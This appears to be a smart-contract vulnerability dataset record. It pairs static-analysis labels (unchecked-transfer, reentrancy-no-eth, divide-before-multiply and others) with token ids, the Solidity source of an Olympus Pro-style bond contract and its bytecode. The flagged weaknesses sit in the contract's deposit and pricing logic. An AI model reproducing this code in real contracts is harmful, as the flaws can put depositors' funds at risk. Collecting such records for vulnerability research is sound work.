{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 28756, 22610, 2509, 2546, 2509, 2063, 2581, 23777, 2509, 2546, 27009, 2546, 2692, 9818, 2497, 10790, 2475, 2497, 2575, 2094, 23499, 2063, 22394, 2094, 27531, 2575, 2683, 22407, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 1052, 1011, 1052, 1011, 1052, 1011, 13433, 25650, 999, 999, 999, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1018, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 1013, 1008, 7117, 23615, 1024, 1037, 4651, 4796, 1006, 4796, 4063, 2278, 11387, 1007, 2005, 2224, 2007, 7117, 23615, 19204, 2015, 2009, 1024, 4473, 7661, 3989, 1997, 4171, 1998, 6402, 6165, 4473, 4651, 2000, 1013, 2013, 4844, 4895, 2483, 4213, 2361, 12679, 4487, 12002, 8261, 2015, 4651, 2000, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,805
0x976662c8a134096570fc8edcdcc85b6f6377e422
// File contracts/libraries/SafeMath.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } // File contracts/libraries/Address.sol pragma solidity 0.7.5; library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } // File contracts/interfaces/IERC20.sol pragma solidity 0.7.5; interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/libraries/SafeERC20.sol pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/libraries/FullMath.sol pragma solidity 0.7.5; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } // File contracts/libraries/FixedPoint.sol pragma solidity 0.7.5; library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } // File contracts/types/Ownable.sol pragma solidity 0.7.5; contract Ownable { address public policy; constructor () { policy = msg.sender; } modifier onlyPolicy() { require( policy == msg.sender, "Ownable: caller is not the owner" ); _; } function transferManagment(address _newOwner) external onlyPolicy() { require( _newOwner != address(0) ); policy = _newOwner; } } // File contracts/FOXCustom/CustomBond.sol pragma solidity 0.7.5; interface ITreasury { function deposit(address _principleTokenAddress, uint _amountPrincipleToken, uint _amountPayoutToken) external; function valueOfToken( address _principalTokenAddress, uint _amount ) external view returns ( uint value_ ); function payoutToken() external view returns (address); } contract CustomFOXBond is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMath for uint; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint payout, uint expires ); event BondRedeemed( address recipient, uint payout, uint remaining ); event BondPriceChanged( uint internalPrice, uint debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ IERC20 immutable payoutToken; // token paid for principal IERC20 immutable principalToken; // inflow token ITreasury immutable customTreasury; // pays for and receives principal address immutable olympusDAO; address olympusTreasury; // receives fee address immutable subsidyRouter; // pays subsidy in OHM to custom treasury uint public totalPrincipalBonded; uint public totalPayoutGiven; uint public totalDebt; // total value of outstanding bonds; used for pricing uint public lastDecay; // reference block for debt decay uint payoutSinceLastSubsidy; // principal accrued since subsidy paid Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data FeeTiers[] private feeTiers; // stores fee tiers bool immutable private feeInPayout; mapping( address => Bond ) public bondInfo; // stores bond information for depositors /* ======== STRUCTS ======== */ struct FeeTiers { uint tierCeilings; // principal bonded till next tier uint fees; // in ten-thousandths (i.e. 33300 = 3.33%) } // Info for creating new bonds struct Terms { uint controlVariable; // scaling variable for price uint vestingTerm; // in blocks uint minimumPrice; // vs principal value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // payout token decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint payout; // payout token remaining to be paid uint vesting; // Blocks left to vest uint lastBlock; // Last interaction uint truePricePaid; // Price paid (principal tokens per payout token) in ten-millionths - 4000000 = 0.4 } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint buffer; // minimum length (in blocks) between adjustments uint lastBlock; // block when last adjustment made } /* ======== CONSTRUCTOR ======== */ constructor( address _customTreasury, address _principalToken, address _olympusTreasury, address _subsidyRouter, address _initialOwner, address _olympusDAO, uint[] memory _tierCeilings, uint[] memory _fees, bool _feeInPayout ) { require( _customTreasury != address(0) ); customTreasury = ITreasury( _customTreasury ); payoutToken = IERC20( ITreasury(_customTreasury).payoutToken() ); require( _principalToken != address(0) ); principalToken = IERC20( _principalToken ); require( _olympusTreasury != address(0) ); olympusTreasury = _olympusTreasury; require( _subsidyRouter != address(0) ); subsidyRouter = _subsidyRouter; require( _initialOwner != address(0) ); policy = _initialOwner; require( _olympusDAO != address(0) ); olympusDAO = _olympusDAO; require(_tierCeilings.length == _fees.length, "tier length and fee length not the same"); for(uint i; i < _tierCeilings.length; i++) { feeTiers.push( FeeTiers({ tierCeilings: _tierCeilings[i], fees: _fees[i] })); } feeInPayout = _feeInPayout; } /* ======== INITIALIZATION ======== */ /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBond( uint _controlVariable, uint _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt ) external onlyPolicy() { require( currentDebt() == 0, "Debt must be 0 for initialization" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = block.number; } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 10000, "Vesting must be longer than 36 hours" ); terms.vestingTerm = _input; } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint _buffer ) external onlyPolicy() { require( _increment <= terms.controlVariable.mul( 30 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastBlock: block.number }); } /** * @notice change address of Olympus Treasury * @param _olympusTreasury uint */ function changeOlympusTreasury(address _olympusTreasury) external { require( msg.sender == olympusDAO, "Only Olympus DAO" ); olympusTreasury = _olympusTreasury; } /** * @notice subsidy controller checks payouts since last subsidy and resets counter * @return payoutSinceLastSubsidy_ uint */ function paySubsidy() external returns ( uint payoutSinceLastSubsidy_ ) { require( msg.sender == subsidyRouter, "Only subsidy controller" ); payoutSinceLastSubsidy_ = payoutSinceLastSubsidy; payoutSinceLastSubsidy = 0; } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit(uint _amount, uint _maxPrice, address _depositor) external returns (uint) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint nativePrice = trueBondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = customTreasury.valueOfToken( address(principalToken), _amount ); uint payout; uint fee; if(feeInPayout) { (payout, fee) = payoutFor( value ); // payout to bonder is computed } else { (payout, fee) = payoutFor( _amount ); // payout to bonder is computed _amount = _amount.sub(fee); } require( payout >= 10 ** payoutToken.decimals() / 100, "Bond too small" ); // must be > 0.01 payout token ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastBlock: block.number, truePricePaid: trueBondPrice() }); totalPrincipalBonded = totalPrincipalBonded.add(_amount); // total bonded increased totalPayoutGiven = totalPayoutGiven.add(payout); // total payout increased payoutSinceLastSubsidy = payoutSinceLastSubsidy.add( payout ); // subsidy counter increased principalToken.approve( address(customTreasury), _amount ); if(feeInPayout) { principalToken.safeTransferFrom( msg.sender, address(this), _amount ); customTreasury.deposit( address(principalToken), _amount, payout.add(fee) ); } else { principalToken.safeTransferFrom( msg.sender, address(this), _amount.add(fee) ); customTreasury.deposit( address(principalToken), _amount, payout ); } if ( fee != 0 ) { // fee is transferred to dao if(feeInPayout) { payoutToken.safeTransfer(olympusTreasury, fee); } else { principalToken.safeTransfer( olympusTreasury, fee ); } } // indexed events are emitted emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ) ); emit BondPriceChanged( _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @return uint */ function redeem(address _depositor) external returns (uint) { Bond memory info = bondInfo[ _depositor ]; uint percentVested = percentVestedFor( _depositor ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _depositor ]; // delete user info emit BondRedeemed( _depositor, info.payout, 0 ); // emit bond data payoutToken.safeTransfer( _depositor, info.payout ); return info.payout; } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _depositor ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ), lastBlock: block.number, truePricePaid: info.truePricePaid }); emit BondRedeemed( _depositor, payout, bondInfo[ _depositor ].payout ); payoutToken.safeTransfer( _depositor, payout ); return payout; } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer ); if( adjustment.rate != 0 && block.number >= blockCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target ) { adjustment.rate = 0; } } adjustment.lastBlock = block.number; emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = block.number; } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /* ======== VIEW FUNCTIONS ======== */ /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate true bond price a user pays * @return price_ uint */ function trueBondPrice() public view returns ( uint price_ ) { price_ = bondPrice().add(bondPrice().mul( currentOlympusFee() ).div( 1e6 ) ); } /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return payoutToken.totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate user's interest due for new bond, accounting for Olympus Fee. If fee is in payout then takes in the already calcualted value. If fee is in principal token than takes in the amount of principal being deposited and then calculautes the fee based on the amount of principal and not in terms of the payout token * @param _value uint * @return _payout uint * @return _fee uint */ function payoutFor( uint _value ) public view returns ( uint _payout, uint _fee) { if(feeInPayout) { uint total = FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e11 ); _fee = total.mul( currentOlympusFee() ).div( 1e6 ); _payout = total.sub(_fee); } else { _fee = _value.mul( currentOlympusFee() ).div( 1e6 ); _payout = FixedPoint.fraction( customTreasury.valueOfToken(address(principalToken), _value.sub(_fee)), bondPrice() ).decode112with18().div( 1e11 ); } } /** * @notice calculate current ratio of debt to payout token supply * @notice protocols using Olympus Pro should be careful when quickly adding large %s to total supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { debtRatio_ = FixedPoint.fraction( currentDebt().mul( 10 ** payoutToken.decimals() ), payoutToken.totalSupply() ).decode112with18().div( 1e18 ); } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint blocksSinceLast = block.number.sub( lastDecay ); decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint blocksSinceLast = block.number.sub( bond.lastBlock ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of payout token available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /** * @notice current fee Olympus takes of each bond * @return currentFee_ uint */ function currentOlympusFee() public view returns( uint currentFee_ ) { uint tierLength = feeTiers.length; for(uint i; i < tierLength; i++) { if(totalPrincipalBonded < feeTiers[i].tierCeilings || i == tierLength - 1 ) { return feeTiers[i].fees; } } } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80637cbe044c116100de578063cea55f5711610097578063e0176de811610071578063e0176de8146106c8578063e392a262146106e6578063f5c2ab5b14610704578063fc7b9c18146107225761018e565b8063cea55f5714610652578063d502562514610670578063d7ccfb0b146106aa5761018e565b80637cbe044c146104855780638dbdbe6d146104a357806395a2251f1461050f578063a50603b214610567578063a9bc6b71146105c7578063cd1234b3146105e55761018e565b80633bfdd7de1161014b5780634799afda116101255780634799afda146103a8578063507930ec146103c6578063759076e51461041e5780637927ebf81461043c5761018e565b80633bfdd7de146102e45780633f0fb92f14610328578063451ee4a11461036c5761018e565b806301b88ee8146101935780630505c8c9146101eb5780630a7484891461021f5780631a3d00681461023d5780631e321a0f1461028b5780632bab6bde146102c6575b600080fd5b6101d5600480360360208110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610740565b6040518082815260200191505060405180910390f35b6101f36107d7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102276107fb565b6040518082815260200191505060405180910390f35b6102896004803603608081101561025357600080fd5b81019080803515159060200190929190803590602001909291908035906020019092919080359060200190929190505050610851565b005b6102c4600480360360408110156102a157600080fd5b81019080803560ff16906020019092919080359060200190929190505050610a30565b005b6102ce610c4f565b6040518082815260200191505060405180910390f35b610326600480360360208110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c55565b005b61036a6004803603602081101561033e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d93565b005b610374610e98565b6040518086151581526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6103b0610ec9565b6040518082815260200191505060405180910390f35b610408600480360360208110156103dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f4f565b6040518082815260200191505060405180910390f35b610426611035565b6040518082815260200191505060405180910390f35b6104686004803603602081101561045257600080fd5b8101908080359060200190929190505050611058565b604051808381526020018281526020019250505060405180910390f35b61048d611265565b6040518082815260200191505060405180910390f35b6104f9600480360360608110156104b957600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126b565b6040518082815260200191505060405180910390f35b6105516004803603602081101561052557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d90565b6040518082815260200191505060405180910390f35b6105c5600480360360c081101561057d57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919050505061213b565b005b6105cf6122d0565b6040518082815260200191505060405180910390f35b610627600480360360208110156105fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123a3565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b61065a6123d3565b6040518082815260200191505060405180910390f35b610678612565565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6106b2612589565b6040518082815260200191505060405180910390f35b6106d0612690565b6040518082815260200191505060405180910390f35b6106ee612764565b6040518082815260200191505060405180910390f35b61070c6127c0565b6040518082815260200191505060405180910390f35b61072a6127c6565b6040518082815260200191505060405180910390f35b60008061074c83610f4f565b90506000601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154905061271082106107a6578092506107d0565b6107cd6127106107bf84846127cc90919063ffffffff16565b61285290919063ffffffff16565b92505b5050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061084c610836620f4240610828610812610ec9565b61081a612589565b6127cc90919063ffffffff16565b61285290919063ffffffff16565b61083e612589565b61289c90919063ffffffff16565b905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610912576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61093f6103e8610931601e6007600001546127cc90919063ffffffff16565b61285290919063ffffffff16565b8311156109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e6372656d656e7420746f6f206c617267650000000000000000000000000081525060200191505060405180910390fd5b6040518060a00160405280851515815260200184815260200183815260200182815260200143815250600c60008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020155606082015181600301556080820151816004015590505050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006002811115610afe57fe5b826002811115610b0a57fe5b1415610b7a57612710811015610b6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806137e16024913960400191505060405180910390fd5b80600760010181905550610c4b565b60016002811115610b8757fe5b826002811115610b9357fe5b1415610c20576103e8811115610c11576040517f08c379a000000000000000000000000000000000